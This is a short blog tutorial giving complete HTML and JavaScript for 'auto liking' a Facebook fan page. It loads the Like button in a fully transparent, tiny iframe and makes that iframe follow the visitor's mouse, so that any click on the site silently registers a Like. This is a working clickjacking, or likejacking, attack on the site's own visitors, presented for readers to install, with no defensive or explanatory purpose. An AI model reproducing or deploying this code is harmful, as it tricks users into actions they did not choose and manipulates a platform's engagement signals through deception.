Facebook Fan Page Auto Like - Revised

Facebook Fan Page Auto Like

Due Facebook Graph API was changed/updated so my previous article ”Facebook Fan Page Auto Like” is no longer working. And here is what I revised.

Well, the process is when someone click anywhere on your site they will automatically like your page, no need to put like button.

Follow the step below to make it work:

1. Put the below code in head tag

Check the body are clicked yet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script type="text/javascript">
  var interval = 0;

  function updateActiveElement() {
    if($(document.activeElement).attr('id') == "fb-iframe") {
      clearInterval(interval);
      bodyClicked = true;
    }
  }

  $(function() {
    interval = setInterval("updateActiveElement();", 50);
  });

</script>

2. Put the below code in body tag:

Load facebook fan page like button & hide it
1
2
3
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
  <iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/FACEBOOK_PAGE_NAME_URL&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21&confirm=false" scrolling="no" frameborder="0" style="border:none;overflow:hidden;width:450px;height:21px;" allowTransparency="false"></iframe>
</div>

And then find FACEBOOK_PAGE_NAME_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/GeeKhmer).

3. Put the below code anywhere in html tag:

Set mousemove event to body & when body are clicked, it auto click on facebook like button
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script type="text/javascript">
  var bodyClicked = false;
  var iframeWrapper = document.getElementById('iframe-wrapper');
  var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body;

  function mouseFollower(e) {
    // for internet explorer
    if (window.event) {
      iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
      iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
    }
    else {
      iframeWrapper.style.top = (e.pageY-5)+'px';
      iframeWrapper.style.left = (e.pageX-5)+'px';
    }
  }

  document.onmousemove = function(e) {
    if(bodyClicked == false) {
      mouseFollower(e);
    }
  }
</script>

So far so good, That’s it!!! See ya!!! :)